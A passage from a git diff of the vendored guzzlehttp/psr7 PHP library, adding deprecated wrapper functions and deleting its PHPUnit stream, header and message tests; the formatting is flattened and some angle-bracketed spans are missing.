$truncateAt = 120) +{ + return Message::bodySummary($message, $truncateAt); +} + +/** + * Remove the items given by the keys, case insensitively from the data. + * + * @param iterable $keys + * + * @return array + * + * @internal + * + * @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead. + */ +function _caseless_remove($keys, array $data) +{ + return Utils::caselessRemove($keys, $data); +} diff --git a/vendor/guzzlehttp/psr7/src/functions_include.php b/vendor/guzzlehttp/psr7/src/functions_include.php index e187958122..96a4a83a01 100644 --- a/vendor/guzzlehttp/psr7/src/functions_include.php +++ b/vendor/guzzlehttp/psr7/src/functions_include.php @@ -1,6 +1,6 @@ -getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isReadable']) - ->getMockForAbstractClass(); - $s->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(false)); - - $this->expectExceptionGuzzle('InvalidArgumentException', 'Each stream must be readable'); - - $a->addStream($s); - } - - public function testValidatesSeekType() - { - $a = new AppendStream(); - - $this->expectExceptionGuzzle('RuntimeException', 'The AppendStream can only seek with SEEK_SET'); - - $a->seek(100, SEEK_CUR); - } - - public function testTriesToRewindOnSeek() - { - $a = new AppendStream(); - $s = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isReadable', 'rewind', 'isSeekable']) - ->getMockForAbstractClass(); - $s->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(true)); - $s->expects(self::once()) - ->method('isSeekable') - ->will(self::returnValue(true)); - $s->expects(self::once()) - ->method('rewind') - ->will(self::throwException(new \RuntimeException())); - $a->addStream($s); - - $this->expectExceptionGuzzle('RuntimeException', 'Unable to seek stream 0 of the AppendStream'); - - $a->seek(10); - } - - public function testSeeksToPositionByReading() - { - $a = new AppendStream([ - Psr7\Utils::streamFor('foo'), - Psr7\Utils::streamFor('bar'), - Psr7\Utils::streamFor('baz'), - ]); - - $a->seek(3); - self::assertSame(3, $a->tell()); - self::assertSame('bar', $a->read(3)); - - $a->seek(6); - self::assertSame(6, $a->tell()); - self::assertSame('baz', $a->read(3)); - } - - public function testDetachWithoutStreams() - { - $s = new AppendStream(); - $s->detach(); - - self::assertSame(0, $s->getSize()); - self::assertTrue($s->eof()); - self::assertTrue($s->isReadable()); - self::assertSame('', (string) $s); - self::assertTrue($s->isSeekable()); - self::assertFalse($s->isWritable()); - } - - public function testDetachesEachStream() - { - $handle = fopen('php://temp', 'r'); - - $s1 = Psr7\Utils::streamFor($handle); - $s2 = Psr7\Utils::streamFor('bar'); - $a = new AppendStream([$s1, $s2]); - - $a->detach(); - - self::assertSame(0, $a->getSize()); - self::assertTrue($a->eof()); - self::assertTrue($a->isReadable()); - self::assertSame('', (string) $a); - self::assertTrue($a->isSeekable()); - self::assertFalse($a->isWritable()); - - self::assertNull($s1->detach()); - $this->assertInternalTypeGuzzle('resource', $handle, 'resource is not closed when detaching'); - fclose($handle); - } - - public function testClosesEachStream() - { - $handle = fopen('php://temp', 'r'); - - $s1 = Psr7\Utils::streamFor($handle); - $s2 = Psr7\Utils::streamFor('bar'); - $a = new AppendStream([$s1, $s2]); - - $a->close(); - - self::assertSame(0, $a->getSize()); - self::assertTrue($a->eof()); - self::assertTrue($a->isReadable()); - self::assertSame('', (string) $a); - self::assertTrue($a->isSeekable()); - self::assertFalse($a->isWritable()); - - self::assertFalse(is_resource($handle)); - } - - public function testIsNotWritable() - { - $a = new AppendStream([Psr7\Utils::streamFor('foo')]); - self::assertFalse($a->isWritable()); - self::assertTrue($a->isSeekable()); - self::assertTrue($a->isReadable()); - - $this->expectExceptionGuzzle('RuntimeException', 'Cannot write to an AppendStream'); - - $a->write('foo'); - } - - public function testDoesNotNeedStreams() - { - $a = new AppendStream(); - self::assertSame('', (string) $a); - } - - public function testCanReadFromMultipleStreams() - { - $a = new AppendStream([ - Psr7\Utils::streamFor('foo'), - Psr7\Utils::streamFor('bar'), - Psr7\Utils::streamFor('baz'), - ]); - self::assertFalse($a->eof()); - self::assertSame(0, $a->tell()); - self::assertSame('foo', $a->read(3)); - self::assertSame('bar', $a->read(3)); - self::assertSame('baz', $a->read(3)); - self::assertSame('', $a->read(1)); - self::assertTrue($a->eof()); - self::assertSame(9, $a->tell()); - self::assertSame('foobarbaz', (string) $a); - } - - public function testCanDetermineSizeFromMultipleStreams() - { - $a = new AppendStream([ - Psr7\Utils::streamFor('foo'), - Psr7\Utils::streamFor('bar') - ]); - self::assertSame(6, $a->getSize()); - - $s = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isSeekable', 'isReadable']) - ->getMockForAbstractClass(); - $s->expects(self::once()) - ->method('isSeekable') - ->will(self::returnValue(null)); - $s->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(true)); - $a->addStream($s); - self::assertNull($a->getSize()); - } - - public function testCatchesExceptionsWhenCastingToString() - { - $s = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isSeekable', 'read', 'isReadable', 'eof']) - ->getMockForAbstractClass(); - $s->expects(self::once()) - ->method('isSeekable') - ->will(self::returnValue(true)); - $s->expects(self::once()) - ->method('read') - ->will(self::throwException(new \RuntimeException('foo'))); - $s->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(true)); - $s->expects(self::any()) - ->method('eof') - ->will(self::returnValue(false)); - $a = new AppendStream([$s]); - self::assertFalse($a->eof()); - self::assertSame('', (string) $a); - } - - public function testReturnsEmptyMetadata() - { - $s = new AppendStream(); - self::assertSame([], $s->getMetadata()); - self::assertNull($s->getMetadata('foo')); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/BaseTest.php b/vendor/guzzlehttp/psr7/tests/BaseTest.php deleted file mode 100644 index 4dddd18be4..0000000000 --- a/vendor/guzzlehttp/psr7/tests/BaseTest.php +++ /dev/null @@ -1,139 +0,0 @@ -setExpectedException($exception, $message); - } else { - $this->expectException($exception); - if (null !== $message) { - $this->expectExceptionMessage($message); - } - } - } - - public function expectWarningGuzzle() - { - if (method_exists($this, 'expectWarning')) { - $this->expectWarning(); - } elseif (class_exists('PHPUnit\Framework\Error\Warning')) { - $this->expectExceptionGuzzle('PHPUnit\Framework\Error\Warning'); - } else { - $this->expectExceptionGuzzle('PHPUnit_Framework_Error_Warning'); - } - } - - /** - * @param string $type - * @param mixed $input - */ - public function assertInternalTypeGuzzle($type, $input) - { - switch ($type) { - case 'array': - if (method_exists($this, 'assertIsArray')) { - self::assertIsArray($input); - } else { - self::assertInternalType('array', $input); - } - break; - case 'bool': - case 'boolean': - if (method_exists($this, 'assertIsBool')) { - self::assertIsBool($input); - } else { - self::assertInternalType('bool', $input); - } - break; - case 'double': - case 'float': - case 'real': - if (method_exists($this, 'assertIsFloat')) { - self::assertIsFloat($input); - } else { - self::assertInternalType('float', $input); - } - break; - case 'int': - case 'integer': - if (method_exists($this, 'assertIsInt')) { - self::assertIsInt($input); - } else { - self::assertInternalType('int', $input); - } - break; - case 'numeric': - if (method_exists($this, 'assertIsNumeric')) { - self::assertIsNumeric($input); - } else { - self::assertInternalType('numeric', $input); - } - break; - case 'object': - if (method_exists($this, 'assertIsObject')) { - self::assertIsObject($input); - } else { - self::assertInternalType('object', $input); - } - break; - case 'resource': - if (method_exists($this, 'assertIsResource')) { - self::assertIsResource($input); - } else { - self::assertInternalType('resource', $input); - } - break; - case 'string': - if (method_exists($this, 'assertIsString')) { - self::assertIsString($input); - } else { - self::assertInternalType('string', $input); - } - break; - case 'scalar': - if (method_exists($this, 'assertIsScalar')) { - self::assertIsScalar($input); - } else { - self::assertInternalType('scalar', $input); - } - break; - case 'callable': - if (method_exists($this, 'assertIsCallable')) { - self::assertIsCallable($input); - } else { - self::assertInternalType('callable', $input); - } - break; - case 'iterable': - if (method_exists($this, 'assertIsIterable')) { - self::assertIsIterable($input); - } else { - self::assertInternalType('iterable', $input); - } - break; - } - } - - /** - * @param string $needle - * @param string $haystack - */ - public function assertStringContainsStringGuzzle($needle, $haystack) - { - if (method_exists($this, 'assertStringContainsString')) { - self::assertStringContainsString($needle, $haystack); - } else { - self::assertContains($needle, $haystack); - } - } -} diff --git a/vendor/guzzlehttp/psr7/tests/BufferStreamTest.php b/vendor/guzzlehttp/psr7/tests/BufferStreamTest.php deleted file mode 100644 index 3f7949c0bc..0000000000 --- a/vendor/guzzlehttp/psr7/tests/BufferStreamTest.php +++ /dev/null @@ -1,63 +0,0 @@ -isReadable()); - self::assertTrue($b->isWritable()); - self::assertFalse($b->isSeekable()); - self::assertSame(null, $b->getMetadata('foo')); - self::assertSame(10, $b->getMetadata('hwm')); - self::assertSame([], $b->getMetadata()); - } - - public function testRemovesReadDataFromBuffer() - { - $b = new BufferStream(); - self::assertSame(3, $b->write('foo')); - self::assertSame(3, $b->getSize()); - self::assertFalse($b->eof()); - self::assertSame('foo', $b->read(10)); - self::assertTrue($b->eof()); - self::assertSame('', $b->read(10)); - } - - public function testCanCastToStringOrGetContents() - { - $b = new BufferStream(); - $b->write('foo'); - $b->write('baz'); - self::assertSame('foo', $b->read(3)); - $b->write('bar'); - self::assertSame('bazbar', (string) $b); - - $this->expectExceptionGuzzle('RuntimeException', 'Cannot determine the position of a BufferStream'); - - $b->tell(); - } - - public function testDetachClearsBuffer() - { - $b = new BufferStream(); - $b->write('foo'); - $b->detach(); - self::assertTrue($b->eof()); - self::assertSame(3, $b->write('abc')); - self::assertSame('abc', $b->read(10)); - } - - public function testExceedingHighwaterMarkReturnsFalseButStillBuffers() - { - $b = new BufferStream(5); - self::assertSame(3, $b->write('hi ')); - self::assertFalse($b->write('hello')); - self::assertSame('hi hello', (string) $b); - self::assertSame(4, $b->write('test')); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/CachingStreamTest.php b/vendor/guzzlehttp/psr7/tests/CachingStreamTest.php deleted file mode 100644 index a1fa04aea6..0000000000 --- a/vendor/guzzlehttp/psr7/tests/CachingStreamTest.php +++ /dev/null @@ -1,212 +0,0 @@ -decorated = Psr7\Utils::streamFor('testing'); - $this->body = new CachingStream($this->decorated); - } - - /** - * @after - */ - public function tearDownTest() - { - $this->decorated->close(); - $this->body->close(); - } - - public function testUsesRemoteSizeIfAvailable() - { - $body = Psr7\Utils::streamFor('test'); - $caching = new CachingStream($body); - self::assertSame(4, $caching->getSize()); - } - - public function testUsesRemoteSizeIfNotAvailable() - { - $body = new Psr7\PumpStream(function () { - return 'a'; - }); - $caching = new CachingStream($body); - self::assertNull($caching->getSize()); - } - - public function testReadsUntilCachedToByte() - { - $this->body->seek(5); - self::assertSame('n', $this->body->read(1)); - $this->body->seek(0); - self::assertSame('t', $this->body->read(1)); - } - - public function testCanSeekNearEndWithSeekEnd() - { - $baseStream = Psr7\Utils::streamFor(implode('', range('a', 'z'))); - $cached = new CachingStream($baseStream); - $cached->seek(-1, SEEK_END); - self::assertSame(25, $baseStream->tell()); - self::assertSame('z', $cached->read(1)); - self::assertSame(26, $cached->getSize()); - } - - public function testCanSeekToEndWithSeekEnd() - { - $baseStream = Psr7\Utils::streamFor(implode('', range('a', 'z'))); - $cached = new CachingStream($baseStream); - $cached->seek(0, SEEK_END); - self::assertSame(26, $baseStream->tell()); - self::assertSame('', $cached->read(1)); - self::assertSame(26, $cached->getSize()); - } - - public function testCanUseSeekEndWithUnknownSize() - { - $baseStream = Psr7\Utils::streamFor('testing'); - $decorated = Psr7\FnStream::decorate($baseStream, [ - 'getSize' => function () { - return null; - } - ]); - $cached = new CachingStream($decorated); - $cached->seek(-1, SEEK_END); - self::assertSame('g', $cached->read(1)); - } - - public function testRewindUsesSeek() - { - $a = Psr7\Utils::streamFor('foo'); - $d = $this->getMockBuilder('GuzzleHttp\Psr7\CachingStream') - ->setMethods(['seek']) - ->setConstructorArgs([$a]) - ->getMock(); - $d->expects(self::once()) - ->method('seek') - ->with(0) - ->will(self::returnValue(true)); - $d->seek(0); - } - - public function testCanSeekToReadBytes() - { - self::assertSame('te', $this->body->read(2)); - $this->body->seek(0); - self::assertSame('test', $this->body->read(4)); - self::assertSame(4, $this->body->tell()); - $this->body->seek(2); - self::assertSame(2, $this->body->tell()); - $this->body->seek(2, SEEK_CUR); - self::assertSame(4, $this->body->tell()); - self::assertSame('ing', $this->body->read(3)); - } - - public function testCanSeekToReadBytesWithPartialBodyReturned() - { - $stream = fopen('php://temp', 'r+'); - fwrite($stream, 'testing'); - fseek($stream, 0); - - $this->decorated = $this->getMockBuilder('\GuzzleHttp\Psr7\Stream') - ->setConstructorArgs([$stream]) - ->setMethods(['read']) - ->getMock(); - - $this->decorated->expects(self::exactly(2)) - ->method('read') - ->willReturnCallback(function ($length) use ($stream) { - return fread($stream, 2); - }); - - $this->body = new CachingStream($this->decorated); - - self::assertSame(0, $this->body->tell()); - $this->body->seek(4, SEEK_SET); - self::assertSame(4, $this->body->tell()); - - $this->body->seek(0); - self::assertSame('test', $this->body->read(4)); - } - - public function testWritesToBufferStream() - { - $this->body->read(2); - $this->body->write('hi'); - $this->body->seek(0); - self::assertSame('tehiing', (string) $this->body); - } - - public function testSkipsOverwrittenBytes() - { - $decorated = Psr7\Utils::streamFor( - implode("\n", array_map(function ($n) { - return str_pad($n, 4, '0', STR_PAD_LEFT); - }, range(0, 25))) - ); - - $body = new CachingStream($decorated); - - self::assertSame("0000\n", Psr7\Utils::readLine($body)); - self::assertSame("0001\n", Psr7\Utils::readLine($body)); - // Write over part of the body yet to be read, so skip some bytes - self::assertSame(5, $body->write("TEST\n")); - self::assertSame(5, Helpers::readObjectAttribute($body, 'skipReadBytes')); - // Read, which skips bytes, then reads - self::assertSame("0003\n", Psr7\Utils::readLine($body)); - self::assertSame(0, Helpers::readObjectAttribute($body, 'skipReadBytes')); - self::assertSame("0004\n", Psr7\Utils::readLine($body)); - self::assertSame("0005\n", Psr7\Utils::readLine($body)); - - // Overwrite part of the cached body (so don't skip any bytes) - $body->seek(5); - self::assertSame(5, $body->write("ABCD\n")); - self::assertSame(0, Helpers::readObjectAttribute($body, 'skipReadBytes')); - self::assertSame("TEST\n", Psr7\Utils::readLine($body)); - self::assertSame("0003\n", Psr7\Utils::readLine($body)); - self::assertSame("0004\n", Psr7\Utils::readLine($body)); - self::assertSame("0005\n", Psr7\Utils::readLine($body)); - self::assertSame("0006\n", Psr7\Utils::readLine($body)); - self::assertSame(5, $body->write("1234\n")); - self::assertSame(5, Helpers::readObjectAttribute($body, 'skipReadBytes')); - - // Seek to 0 and ensure the overwritten bit is replaced - $body->seek(0); - self::assertSame("0000\nABCD\nTEST\n0003\n0004\n0005\n0006\n1234\n0008\n0009\n", $body->read(50)); - - // Ensure that casting it to a string does not include the bit that was overwritten - $this->assertStringContainsStringGuzzle("0000\nABCD\nTEST\n0003\n0004\n0005\n0006\n1234\n0008\n0009\n", (string) $body); - } - - public function testClosesBothStreams() - { - $s = fopen('php://temp', 'r'); - $a = Psr7\Utils::streamFor($s); - $d = new CachingStream($a); - $d->close(); - self::assertFalse(is_resource($s)); - } - - public function testEnsuresValidWhence() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - $this->body->seek(10, -123456); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/DroppingStreamTest.php b/vendor/guzzlehttp/psr7/tests/DroppingStreamTest.php deleted file mode 100644 index 15dd3015f1..0000000000 --- a/vendor/guzzlehttp/psr7/tests/DroppingStreamTest.php +++ /dev/null @@ -1,27 +0,0 @@ -write('hel')); - self::assertSame(2, $drop->write('lo')); - self::assertSame(5, $drop->getSize()); - self::assertSame('hello', $drop->read(5)); - self::assertSame(0, $drop->getSize()); - $drop->write('12345678910'); - self::assertSame(5, $stream->getSize()); - self::assertSame(5, $drop->getSize()); - self::assertSame('12345', (string) $drop); - self::assertSame(0, $drop->getSize()); - $drop->write('hello'); - self::assertSame(0, $drop->write('test')); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/FnStreamTest.php b/vendor/guzzlehttp/psr7/tests/FnStreamTest.php deleted file mode 100644 index 28ca4c69c7..0000000000 --- a/vendor/guzzlehttp/psr7/tests/FnStreamTest.php +++ /dev/null @@ -1,98 +0,0 @@ -expectExceptionGuzzle('BadMethodCallException', 'seek() is not implemented in the FnStream'); - - (new FnStream([]))->seek(1); - } - - public function testProxiesToFunction() - { - $s = new FnStream([ - 'read' => function ($len) { - $this->assertSame(3, $len); - return 'foo'; - } - ]); - - self::assertSame('foo', $s->read(3)); - } - - public function testCanCloseOnDestruct() - { - $called = false; - $s = new FnStream([ - 'close' => function () use (&$called) { - $called = true; - } - ]); - unset($s); - self::assertTrue($called); - } - - public function testDoesNotRequireClose() - { - $s = new FnStream([]); - unset($s); - self::assertTrue(true); // strict mode requires an assertion - } - - public function testDecoratesStream() - { - $a = Psr7\Utils::streamFor('foo'); - $b = FnStream::decorate($a, []); - self::assertSame(3, $b->getSize()); - self::assertSame($b->isWritable(), true); - self::assertSame($b->isReadable(), true); - self::assertSame($b->isSeekable(), true); - self::assertSame($b->read(3), 'foo'); - self::assertSame($b->tell(), 3); - self::assertSame($a->tell(), 3); - self::assertSame('', $a->read(1)); - self::assertSame($b->eof(), true); - self::assertSame($a->eof(), true); - $b->seek(0); - self::assertSame('foo', (string) $b); - $b->seek(0); - self::assertSame('foo', $b->getContents()); - self::assertSame($a->getMetadata(), $b->getMetadata()); - $b->seek(0, SEEK_END); - $b->write('bar'); - self::assertSame('foobar', (string) $b); - $this->assertInternalTypeGuzzle('resource', $b->detach()); - $b->close(); - } - - public function testDecoratesWithCustomizations() - { - $called = false; - $a = Psr7\Utils::streamFor('foo'); - $b = FnStream::decorate($a, [ - 'read' => function ($len) use (&$called, $a) { - $called = true; - return $a->read($len); - } - ]); - self::assertSame('foo', $b->read(3)); - self::assertTrue($called); - } - - public function testDoNotAllowUnserialization() - { - $a = new FnStream([]); - $b = serialize($a); - $this->expectExceptionGuzzle('\LogicException', 'FnStream should never be unserialized'); - unserialize($b); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/HasToString.php b/vendor/guzzlehttp/psr7/tests/HasToString.php deleted file mode 100644 index e872d153cf..0000000000 --- a/vendor/guzzlehttp/psr7/tests/HasToString.php +++ /dev/null @@ -1,11 +0,0 @@ -', - 'rel' => 'front', - 'type' => 'image/jpeg', - ], - [ - '', - 'rel' => 'back', - 'type' => 'image/jpeg', - ], - ]; - return [ - [ - '; rel="front"; type="image/jpeg", ; rel=back; type="image/jpeg"', - $res1, - ], - [ - '; rel="front"; type="image/jpeg",; rel=back; type="image/jpeg"', - $res1, - ], - [ - 'foo="baz"; bar=123, boo, test="123", foobar="foo;bar"', - [ - ['foo' => 'baz', 'bar' => '123'], - ['boo'], - ['test' => '123'], - ['foobar' => 'foo;bar'], - ], - ], - [ - '; rel="side"; type="image/jpeg",; rel=side; type="image/jpeg"', - [ - ['', 'rel' => 'side', 'type' => 'image/jpeg'], - ['', 'rel' => 'side', 'type' => 'image/jpeg'], - ], - ], - [ - '', - [], - ], - ]; - } - - /** - * @dataProvider parseParamsProvider - */ - public function testParseParams($header, $result) - { - self::assertSame($result, Psr7\Header::parse($header)); - } - - public function testParsesArrayHeaders() - { - $header = ['a, b', 'c', 'd, e']; - self::assertSame(['a', 'b', 'c', 'd', 'e'], Psr7\Header::normalize($header)); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/Helpers.php b/vendor/guzzlehttp/psr7/tests/Helpers.php deleted file mode 100644 index 114496bdc5..0000000000 --- a/vendor/guzzlehttp/psr7/tests/Helpers.php +++ /dev/null @@ -1,35 +0,0 @@ -getProperty($attributeName); - - if (!$attribute || $attribute->isPublic()) { - return $object->$attributeName; - } - - $attribute->setAccessible(true); - - return $attribute->getValue($object); - } catch (\ReflectionException $e) { - // do nothing - } - } while ($reflector = $reflector->getParentClass()); - - throw new \Exception( - sprintf('Attribute "%s" not found in object.', $attributeName) - ); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/InflateStreamTest.php b/vendor/guzzlehttp/psr7/tests/InflateStreamTest.php deleted file mode 100644 index fab6bcdf98..0000000000 --- a/vendor/guzzlehttp/psr7/tests/InflateStreamTest.php +++ /dev/null @@ -1,51 +0,0 @@ -getGzipStringWithFilename('test'); - $a = Psr7\Utils::streamFor($content); - $b = new InflateStream($a); - self::assertSame('test', (string) $b); - } - - public function testInflatesStreamsPreserveSeekable() - { - $content = $this->getGzipStringWithFilename('test'); - $seekable = Psr7\Utils::streamFor($content); - $nonSeekable = new NoSeekStream(Psr7\Utils::streamFor($content)); - - self::assertTrue((new InflateStream($seekable))->isSeekable()); - self::assertFalse((new InflateStream($nonSeekable))->isSeekable()); - } - - private function getGzipStringWithFilename($original_string) - { - $gzipped = bin2hex(gzencode($original_string)); - - $header = substr($gzipped, 0, 20); - // set FNAME flag - $header[6]=0; - $header[7]=8; - // make a dummy filename - $filename = '64756d6d7900'; - $rest = substr($gzipped, 20); - - return hex2bin($header . $filename . $rest); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/Integration/ServerRequestFromGlobalsTest.php b/vendor/guzzlehttp/psr7/tests/Integration/ServerRequestFromGlobalsTest.php deleted file mode 100644 index a1b7470013..0000000000 --- a/vendor/guzzlehttp/psr7/tests/Integration/ServerRequestFromGlobalsTest.php +++ /dev/null @@ -1,45 +0,0 @@ -getServerUri()) { - self::markTestSkipped(); - } - parent::setUp(); - } - - public function testBodyExists() - { - $curl = curl_init(); - - curl_setopt($curl, CURLOPT_URL, $this->getServerUri()); - curl_setopt($curl, CURLOPT_POST, 1); - curl_setopt($curl, CURLOPT_POSTFIELDS, 'foobar'); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); - $response = curl_exec($curl); - curl_close($curl); - - self::assertNotFalse($response); - $data = json_decode($response, true); - self::assertIsArray($data); - self::assertArrayHasKey('method', $data); - self::assertArrayHasKey('uri', $data); - self::assertArrayHasKey('body', $data); - - self::assertEquals('foobar', $data['body']); - } - - private function getServerUri() - { - return isset($_SERVER['TEST_SERVER']) ? $_SERVER['TEST_SERVER'] : false; - } -} diff --git a/vendor/guzzlehttp/psr7/tests/Integration/server.php b/vendor/guzzlehttp/psr7/tests/Integration/server.php deleted file mode 100644 index b1f828c135..0000000000 --- a/vendor/guzzlehttp/psr7/tests/Integration/server.php +++ /dev/null @@ -1,13 +0,0 @@ - $request->getMethod(), - 'uri' => $request->getUri()->__toString(), - 'body' => $request->getBody()->__toString(), -]; - -echo json_encode($output); diff --git a/vendor/guzzlehttp/psr7/tests/LazyOpenStreamTest.php b/vendor/guzzlehttp/psr7/tests/LazyOpenStreamTest.php deleted file mode 100644 index d88f3bd301..0000000000 --- a/vendor/guzzlehttp/psr7/tests/LazyOpenStreamTest.php +++ /dev/null @@ -1,71 +0,0 @@ -fname = tempnam(sys_get_temp_dir(), 'tfile'); - - if (file_exists($this->fname)) { - unlink($this->fname); - } - } - - /** - * @after - */ - public function tearDownTest() - { - if (file_exists($this->fname)) { - unlink($this->fname); - } - } - - public function testOpensLazily() - { - $l = new LazyOpenStream($this->fname, 'w+'); - $l->write('foo'); - $this->assertInternalTypeGuzzle('array', $l->getMetadata()); - self::assertFileExists($this->fname); - self::assertSame('foo', file_get_contents($this->fname)); - self::assertSame('foo', (string) $l); - } - - public function testProxiesToFile() - { - file_put_contents($this->fname, 'foo'); - $l = new LazyOpenStream($this->fname, 'r'); - self::assertSame('foo', $l->read(4)); - self::assertTrue($l->eof()); - self::assertSame(3, $l->tell()); - self::assertTrue($l->isReadable()); - self::assertTrue($l->isSeekable()); - self::assertFalse($l->isWritable()); - $l->seek(1); - self::assertSame('oo', $l->getContents()); - self::assertSame('foo', (string) $l); - self::assertSame(3, $l->getSize()); - $this->assertInternalTypeGuzzle('array', $l->getMetadata()); - $l->close(); - } - - public function testDetachesUnderlyingStream() - { - file_put_contents($this->fname, 'foo'); - $l = new LazyOpenStream($this->fname, 'r'); - $r = $l->detach(); - $this->assertInternalTypeGuzzle('resource', $r); - fseek($r, 0); - self::assertSame('foo', stream_get_contents($r)); - fclose($r); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/LimitStreamTest.php b/vendor/guzzlehttp/psr7/tests/LimitStreamTest.php deleted file mode 100644 index 7d8fce7df3..0000000000 --- a/vendor/guzzlehttp/psr7/tests/LimitStreamTest.php +++ /dev/null @@ -1,166 +0,0 @@ -decorated = Psr7\Utils::streamFor(fopen(__FILE__, 'r')); - $this->body = new LimitStream($this->decorated, 10, 3); - } - - public function testReturnsSubset() - { - $body = new LimitStream(Psr7\Utils::streamFor('foo'), -1, 1); - self::assertSame('oo', (string) $body); - self::assertTrue($body->eof()); - $body->seek(0); - self::assertFalse($body->eof()); - self::assertSame('oo', $body->read(100)); - self::assertSame('', $body->read(1)); - self::assertTrue($body->eof()); - } - - public function testReturnsSubsetWhenCastToString() - { - $body = Psr7\Utils::streamFor('foo_baz_bar'); - $limited = new LimitStream($body, 3, 4); - self::assertSame('baz', (string) $limited); - } - - public function testReturnsSubsetOfEmptyBodyWhenCastToString() - { - $body = Psr7\Utils::streamFor('01234567891234'); - $limited = new LimitStream($body, 0, 10); - self::assertSame('', (string) $limited); - } - - public function testReturnsSpecificSubsetOBodyWhenCastToString() - { - $body = Psr7\Utils::streamFor('0123456789abcdef'); - $limited = new LimitStream($body, 3, 10); - self::assertSame('abc', (string) $limited); - } - - public function testSeeksWhenConstructed() - { - self::assertSame(0, $this->body->tell()); - self::assertSame(3, $this->decorated->tell()); - } - - public function testAllowsBoundedSeek() - { - $this->body->seek(100); - self::assertSame(10, $this->body->tell()); - self::assertSame(13, $this->decorated->tell()); - $this->body->seek(0); - self::assertSame(0, $this->body->tell()); - self::assertSame(3, $this->decorated->tell()); - try { - $this->body->seek(-10); - self::fail(); - } catch (\RuntimeException $e) { - } - self::assertSame(0, $this->body->tell()); - self::assertSame(3, $this->decorated->tell()); - $this->body->seek(5); - self::assertSame(5, $this->body->tell()); - self::assertSame(8, $this->decorated->tell()); - // Fail - try { - $this->body->seek(1000, SEEK_END); - self::fail(); - } catch (\RuntimeException $e) { - } - } - - public function testReadsOnlySubsetOfData() - { - $data = $this->body->read(100); - self::assertSame(10, strlen($data)); - self::assertSame('', $this->body->read(1000)); - - $this->body->setOffset(10); - $newData = $this->body->read(100); - self::assertSame(10, strlen($newData)); - self::assertNotSame($data, $newData); - } - - public function testThrowsWhenCurrentGreaterThanOffsetSeek() - { - $a = Psr7\Utils::streamFor('foo_bar'); - $b = new NoSeekStream($a); - $c = new LimitStream($b); - $a->getContents(); - - $this->expectExceptionGuzzle('RuntimeException', 'Could not seek to stream offset 2'); - - $c->setOffset(2); - } - - public function testCanGetContentsWithoutSeeking() - { - $a = Psr7\Utils::streamFor('foo_bar'); - $b = new NoSeekStream($a); - $c = new LimitStream($b); - self::assertSame('foo_bar', $c->getContents()); - } - - public function testClaimsConsumedWhenReadLimitIsReached() - { - self::assertFalse($this->body->eof()); - $this->body->read(1000); - self::assertTrue($this->body->eof()); - } - - public function testContentLengthIsBounded() - { - self::assertSame(10, $this->body->getSize()); - } - - public function testGetContentsIsBasedOnSubset() - { - $body = new LimitStream(Psr7\Utils::streamFor('foobazbar'), 3, 3); - self::assertSame('baz', $body->getContents()); - } - - public function testReturnsNullIfSizeCannotBeDetermined() - { - $a = new FnStream([ - 'getSize' => function () { - return null; - }, - 'tell' => function () { - return 0; - }, - ]); - $b = new LimitStream($a); - self::assertNull($b->getSize()); - } - - public function testLengthLessOffsetWhenNoLimitSize() - { - $a = Psr7\Utils::streamFor('foo_bar'); - $b = new LimitStream($a, -1, 4); - self::assertSame(3, $b->getSize()); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/MessageTest.php b/vendor/guzzlehttp/psr7/tests/MessageTest.php deleted file mode 100644 index 8fb8efcdb9..0000000000 --- a/vendor/guzzlehttp/psr7/tests/MessageTest.php +++ /dev/null @@ -1,266 +0,0 @@ - 'bar', - 'Qux' => 'ipsum', - ], 'hello', '1.0'); - self::assertSame( - "PUT /hi?123 HTTP/1.0\r\nHost: foo.com\r\nBaz: bar\r\nQux: ipsum\r\n\r\nhello", - Psr7\Message::toString($request) - ); - } - - public function testConvertsResponsesToStrings() - { - $response = new Psr7\Response(200, [ - 'Baz' => 'bar', - 'Qux' => 'ipsum', - ], 'hello', '1.0', 'FOO'); - self::assertSame( - "HTTP/1.0 200 FOO\r\nBaz: bar\r\nQux: ipsum\r\n\r\nhello", - Psr7\Message::toString($response) - ); - } - - public function testCorrectlyRendersSetCookieHeadersToString() - { - $response = new Psr7\Response(200, [ - 'Set-Cookie' => ['bar','baz','qux'] - ], 'hello', '1.0', 'FOO'); - self::assertSame( - "HTTP/1.0 200 FOO\r\nSet-Cookie: bar\r\nSet-Cookie: baz\r\nSet-Cookie: qux\r\n\r\nhello", - Psr7\Message::toString($response) - ); - } - - public function testRewindsBody() - { - $body = Psr7\Utils::streamFor('abc'); - $res = new Psr7\Response(200, [], $body); - Psr7\Message::rewindBody($res); - self::assertSame(0, $body->tell()); - $body->rewind(); - Psr7\Message::rewindBody($res); - self::assertSame(0, $body->tell()); - } - - public function testThrowsWhenBodyCannotBeRewound() - { - $body = Psr7\Utils::streamFor('abc'); - $body->read(1); - $body = FnStream::decorate($body, [ - 'rewind' => function () { - throw new \RuntimeException('a'); - }, - ]); - $res = new Psr7\Response(200, [], $body); - - $this->expectExceptionGuzzle('RuntimeException'); - - Psr7\Message::rewindBody($res); - } - - public function testParsesRequestMessages() - { - $req = "GET /abc HTTP/1.0\r\nHost: foo.com\r\nFoo: Bar\r\nBaz: Bam\r\nBaz: Qux\r\n\r\nTest"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('GET', $request->getMethod()); - self::assertSame('/abc', $request->getRequestTarget()); - self::assertSame('1.0', $request->getProtocolVersion()); - self::assertSame('foo.com', 